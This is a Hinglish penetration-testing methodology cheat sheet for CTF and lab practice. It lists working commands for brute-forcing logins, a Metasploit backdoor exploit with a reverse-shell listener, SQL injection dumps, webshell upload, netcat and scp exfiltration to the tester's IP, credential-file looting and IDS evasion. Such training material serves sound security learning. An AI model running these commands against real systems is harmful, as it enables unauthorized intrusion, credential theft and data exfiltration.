

# COMPLETE WEB & NETWORK PENETRATION TESTING METHODOLOGY

Recon → Scanning → Enumeration → Exploitation → Privilege Escalation →  
Post-Exploitation

Ye roadmap ek complete attacker/pentester ki soch-samajh (mindset) ko step-by-step dikhata hai — jab bhi ek naya target (website/server/IP) milta hai, to kaunse step pehle karte hain, kaunse tools use hote hain, kya-kya commands chalti hain, aur ek phase se agle phase tak kaise pahunchte hain, poori practical breakdown yahin milega.



*Author: Sujal | For authorized labs, CTFs & TryHackMe/HackTheBox practice only*



# Attacker Methodology — Big Picture

Jab tumhe sirf ek website/target diya jaaye, ye flow follow karo

## 1. RECON (Passive+Active)

Target ke baare mein bina touch kiye (ya halka touch karke) jitni info nikal sako



## 2. SCANNING

Live hosts, open ports, services aur versions dhoondo (nmap)



## 3. ENUMERATION

Har open port/service ko deeply explore karo — banners, users, shares, dirs



## 4. VULNERABILITY MAPPING

Version/service se known CVE ya misconfig dhoondo (searchsploit, nvd, google)



## 5. EXPLOITATION

Ek working exploit/login/bruteforce se initial access lo



## 6. POST-EXPLOITATION

System explore karo, important files/creds/data nikalo



## 7. PRIVILEGE ESCALATION

Low-priv user se root/admin/SYSTEM tak jao



## 8. COVER / MAINTAIN (labs only)

Persistence, log cleanup — sirf authorized engagement mein

# 01

## RECONNAISSANCE

Target ke baare mein info gather karna — bina exploit kiye

**Goal:** Domain, IP range, subdomains, technologies, employees, leaked creds — sab passive/OSINT se pata karo taaki active scanning zyada targeted ho.

### Passive Recon (target ko pata nahi chalta)

```
# WHOIS - domain registration info
whois target.com
# DNS records
nslookup target.com
dig target.com ANY
dig target.com MX # mail servers
dig target.com NS # nameservers
# Subdomain enumeration (passive)
subfinder -d target.com -o subs.txt
amass enum -passive -d target.com
assetfinder target.com
# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
# Wayback machine - purani URLs/endpoints
waybackurls target.com
# Leaked creds / breach check
theHarvester -d target.com -b all
```

### Active Recon (halka touch — target ko trace mil sakta hai)

```
# Live host check
ping target.com
tracert target.com
# DNS zone transfer try (misconfig hone par pura DNS mil jata hai)
dig axfr @ns1.target.com target.com
# Web tech fingerprint
whatweb target.com
wappalyzer (browser extension)
```

**TIP:** Recon jitna better, exploitation utna easy — 'Recon is 80% of the hack' isliye time do isme.

## 02 SCANNING

Open ports, services, OS aur versions detect karna

**Goal:** Pata karo ki target par konse ports khule hain, unpar kaunsi service chal rahi hai, aur kaunsa version — yahi decide karega agla attack surface.

### Nmap — the core scanning tool

```
# Quick top-1000 port scan
nmap target.com
# Full TCP port range (sabhi 65535 ports)
nmap -p- target.com
# Service + version detection (bahut important)
nmap -sV -sC -p- target.com -oN full_scan.txt
-sV = version detect
-sC = default safe scripts
-oN = output normal file mein save
# OS detection
nmap -O target.com
# UDP scan (slow but zaroori — DNS/SNMP jaise services)
nmap -sU --top-ports 20 target.com
# Aggressive all-in-one
nmap -A -T4 target.com
# Vulnerability scan scripts
nmap --script vuln target.com
```

### Tumhare diye gaye scan result ka matlab

| Port | Service    | Iska kya matlab / next step                                 |
|------|------------|-------------------------------------------------------------|
| 21   | FTP        | File transfer — anonymous login check karo sabse pehle      |
| 25   | SMTP       | Mail sending — user enumeration (VRFY/EXPN) possible        |
| 53   | DNS        | Zone transfer try karo, subdomains leak ho sakte            |
| 80   | HTTP       | Website — dir busting, tech stack, vulnerabilities check    |
| 110  | POP3       | Mail retrieve — creds milne par mailbox padh sakte ho       |
| 143  | IMAP       | Mail access — same as POP3, folder-based                    |
| 443  | HTTPS      | SSL wala web — cert info se subdomains bhi milte hain       |
| 587  | Submission | Authenticated mail sending port — creds test karo           |
| 993  | IMAPS      | IMAP over SSL                                               |
| 995  | POP3S      | POP3 over SSL                                               |
| 3306 | MySQL      | Database — default/weak creds try karo, remote access check |

**TIP:** Ye ek 'mail server + web server + database' combo box lagta hai (jaise HTB 'Mail'/'Nibbles' style boxes) — priority: FTP anonymous -> SMTP user enum -> web app -> MySQL creds reuse.

# 03

## ENUMERATION

Har open service ko deeply explore karna

Enumeration ka matlab hai — har service se jitni info nikal sako: usernames, versions, misconfig, anonymous access, shares, banners. Neeche har port ke hisaab se breakdown hai.

### Port 21 — FTP Enumeration

```
# Banner grab (version pata chalta hai)
nc -nv target.com 21
nmap -sV -p21 --script ftp-anon,ftp-syst target.com
# Anonymous login try (username: anonymous, password: koi bhi email)
ftp target.com
Name: anonymous
Password: anything@anything.com
# Agar login ho jaye to files list/download karo
ftp> ls -la
ftp> get filename.txt # ek file download
ftp> mget * # sab files download
ftp> put shell.php # agar write permission hai to upload bhi
# Bruteforce agar anonymous band ho
hydra -L users.txt -P rockyou.txt ftp://target.com
```

### Telnet — Legacy Login / Banner Interaction

```
# Telnet se kisi bhi port par manually connect karke banner/response dekh sakte ho
telnet target.com 21 # ftp banner
telnet target.com 25 # smtp banner
telnet target.com 80 # raw HTTP request bhi bhej sakte ho
# Agar telnet service (port 23) khud open ho:
telnet target.com 23
hydra -L users.txt -P rockyou.txt telnet://target.com
```

### Port 25/587 — SMTP Enumeration

```
nmap -sV -p25 --script smtp-enum-users,smtp-commands target.com
# Manual VRFY/EXPN user enumeration (agar allowed hai)
nc -nv target.com 25
VRFY root
VRFY admin
EXPN staff-list
# Automated tool
smtp-user-enum -M VRFY -U users.txt -t target.com
```

### Port 110/143/993/995 — POP3 / IMAP Mail Access

```

nmap -sV -p110,143,993,995 target.com
# Manual POP3 login (creds mil chuke hone ke baad)
nc -nv target.com 110
USER victim
PASS password123
LIST # mails ki list
RETR 1 # pehla mail padho
# Manual IMAP login
openssl s_client -connect target.com:993
a LOGIN victim password123
a LIST "" "*"
a SELECT INBOX
a FETCH 1 BODY[]

```

## Port 80/443 — Web Application Enumeration

```

# Directory/File brute-forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
ffuf -u http://target.com/FUZZ -w wordlist.txt
dirsearch -u http://target.com
# Subdomain vhost fuzzing
ffuf -u http://target.com -H 'Host: FUZZ.target.com' -w subdomains.txt
# Tech stack + CMS detect
whatweb target.com
wpscan --url http://target.com --enumerate u,p,t # agar WordPress hai
# Manual browsing checklist
- robots.txt, sitemap.xml dekho
- /admin, /login, /uploads, /backup try karo
- View-source mein comments/JS files check karo
- Burp Suite se traffic intercept + Repeater se test karo
# SSL/cert info (subdomains bhi mil sakte hain)
openssl s_client -connect target.com:443
sslscan target.com

```

## Port 3306 — MySQL Enumeration

```

nmap -sV -p3306 --script mysql-info,mysql-empty-password target.com
# Default/weak creds try karo
mysql -h target.com -u root -p
mysql -h target.com -u root # empty password try
# Bruteforce
hydra -l root -P rockyou.txt mysql://target.com

```

# 04

## EXPLOITATION

Info se actual access lena — vuln find + exploit

**Goal:** Enumeration mein jo weakness mili (anon FTP, weak creds, outdated version, web vuln) — usse actual shell/login/data-access lena.

### Vulnerability Mapping

```
# Service version se known exploit dhoondo
searchsploit vsftpd 2.3.4
searchsploit apache 2.4.49
# Online: exploit-db.com, cvedetails.com, nvd.nist.gov par version daal ke dekho
```

### Metasploit Framework — Exploitation

```
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS target.com
set RPORT 21
run
# Payload/listener setup (reverse shell)
use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST <your-ip>
set LPORT 4444
exploit
```

### Common Exploitation Techniques (service-wise)

- **FTP:** Anonymous login abuse -> sensitive files/creds milna, ya vsftpd 2.3.4 backdoor jaise known CVE
- **SMTP:** VRFY se valid usernames confirm karke SSH/web login pe bruteforce
- **Web (80/443):** SQL Injection (sqlmap), File Upload -> webshell, LFI/RFI, XSS, outdated CMS plugin exploit
- **MySQL:** Weak/default creds -> data dump, ya UDF/webshell via INTO OUTFILE (agar FILE priv hai)
- **POP3/IMAP:** Creds reuse (jo web se mile) -> mailbox padhkar aur creds/tokens nikalna

```
# SQL Injection quick test + automation
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D dbname --tables
sqlmap -u "http://target.com/page.php?id=1" -D dbname -T users --dump
# File upload -> webshell (php reverse shell upload karke)
curl -F 'file=@shell.php' http://target.com/upload.php
# phir browser/curl se trigger karo:
curl http://target.com/uploads/shell.php?cmd=id
```

Ek baar login/shell mil jaye to yaha focus hota hai: important files dhoondo, creds harvest karo, aur data ko apni machine par safely le aao.

### File Download / Data Exfiltration

```
# SCP - remote se apni machine par file lana (SSH access hone par)
scp user@target.com:/etc/passwd .
scp -r user@target.com:/var/www/html ./loot/
# Apni machine se target par file bhejna
scp shell.sh user@target.com:/tmp/
# Wget/curl se web-accessible files download
wget http://target.com/backup.zip
curl -O http://target.com/config.php.bak
# Python one-liner HTTP server (apni machine se files serve karne ke liye)
python3 -m http.server 8000
# target machine par:
wget http://<your-ip>:8000/linpeas.sh
# Netcat se file transfer (jab scp/wget na ho)
# listener (apni machine): nc -lvnp 4444 > file.txt
# sender (target machine): nc <your-ip> 4444 < file.txt
```

### Important Files Jo Hamesha Dhoondo

- **Linux:** /etc/passwd, /etc/shadow (root only), config files (.env, wp-config.php, db config), .bash\_history, SSH keys (~/.ssh/id\_rsa)
- **Windows:** unattend.xml, web.config, SAM/SYSTEM hive, saved browser creds, PowerShell history
- **Web app:** .git folder (source code leak), .env / config.php (DB creds), backup .zip/.sql files
- **Database:** users table, password hashes, API keys tables

```
# Quick loot commands after shell access
cat /etc/passwd
find / -perm -4000 2>/dev/null # SUID binaries
grep -r 'password' /var/www/ 2>/dev/null
history
cat ~/.bash_history
find / -name '*.env' -o -name 'wp-config.php' 2>/dev/null
```



# 06

## PRIVILEGE ESCALATION

Low-priv user se root / admin / SYSTEM tak jaana

Access mil gaya lekin low-privilege user ke saath — ab misconfig ya kernel vuln dhoondke root/SYSTEM banna hai.

### Linux PrivEsc

```
# Sudo permissions check (bahut common win)
sudo -l
# SUID binaries (GTF0Bins par check karo kya exploit hota hai)
find / -perm -4000 -type f 2>/dev/null
# Automated enumeration scripts (best starting point)
./linpeas.sh
./linenum.sh
# Kernel version -> known exploit search
uname -a
searchsploit linux kernel <version>
# Cron jobs check (writable script = privesc)
cat /etc/crontab
ls -la /etc/cron.d/
# Weak file permissions
find / -writable -type d 2>/dev/null
```

### Windows PrivEsc

```
# Automated enumeration
winpeas.exe
PowerUp.ps1
# Basic manual checks
whoami /priv
systeminfo
wmic qfe list # missing patches
# Service misconfig (unquoted path, weak perms)
accesschk.exe -uwcqv "Authenticated Users" *
```

**TIP:** GTF0Bins (linux) aur LOLBAS (windows) websites bookmark rakho — kisi bhi binary ka privesc/bypass usage yahan milta hai.

# 07

## FIREWALL / IDS EVASION

Detection avoid karke scan/attack karna

Jab firewall/IDS scan ko block ya flag kar deta hai, to nmap ke evasion techniques use karke traffic ko kam suspicious banaya jaata hai.

```
# Slow timing (IDS threshold miss karne ke liye)
nmap -T0 target.com # paranoid - sabse slow
nmap -T2 target.com # polite
# Packet fragmentation (signature-based IDS ko confuse karta hai)
nmap -f target.com
nmap --mtu 24 target.com
# Decoy scanning (real IP ko fake IPs ke beech chhupana)
nmap -D RND:10 target.com
nmap -D decoy1,decoy2,ME,decoy3 target.com
# Source port spoofing (agar firewall port 53/80 se trust karta hai)
nmap --source-port 53 target.com
# Idle/zombie scan (attacker ki identity पूरी तरह chhupti hai)
nmap -sI zombie_host target.com
# Randomize scan order + spoof MAC
nmap --randomize-hosts target.com
nmap --spoof-mac 0 target.com
```

**WARNING:** Ye techniques sirf authorized pentest/labs mein use karo — real-world unauthorized network par IDS evasion illegal hai.

| Phase             | Best Tools                                  | Kaam                                |
|-------------------|---------------------------------------------|-------------------------------------|
| Recon             | whois, dig, subfinder, amass, theHarvester  | Passive info gathering              |
| Scanning          | nmap, masscan, rustscan                     | Port + service discovery            |
| Web Enum          | gobuster, ffuf, dirsearch, whatweb, wpscan  | Dir busting, tech fingerprint       |
| Brute Force       | hydra, medusa, patator                      | Login cracking                      |
| Web Testing       | Burp Suite, sqlmap, nikto                   | Manual + automated web vuln testing |
| Exploitation      | Metasploit, searchsploit, exploit-db        | Known exploits                      |
| File Transfer     | scp, wget, curl, netcat, python http.server | Data in/out                         |
| PrivEsc (Linux)   | linpeas, linenum, GTF0Bins                  | Enumeration + exploitation          |
| PrivEsc (Windows) | winpeas, PowerUp, LOLBAS                    | Enumeration + exploitation          |
| Sniffing/MITM     | Wireshark, tcpdump, ettercap                | Traffic analysis                    |
| Password Cracking | John the Ripper, hashcat                    | Hash cracking                       |

### Quick Priority Checklist (jab bhi naya box mil)

1. nmap -sV -sC -p- pehle chalao, full port list lo
2. FTP anonymous login check karo (21)
3. SMTP par VRFY se users enum karo (25)
4. Web app (80/443) par dir busting + tech fingerprint
5. MySQL par default/weak creds try karo (3306)
6. Jo bhi creds mile, sabhi services (FTP/SSH/mail/web login) par reuse try karo
7. Shell milne ke baad turant linpeas/winpeas chalao
8. sudo -l aur SUID binaries check karo privesc ke liye

**DISCLAIMER:** Ye document sirf legal/authorized environments (TryHackMe, HackTheBox, apna lab, ya written permission wale engagements) ke liye hai. Bina permission kisi real system par ye techniques use karna illegal hai.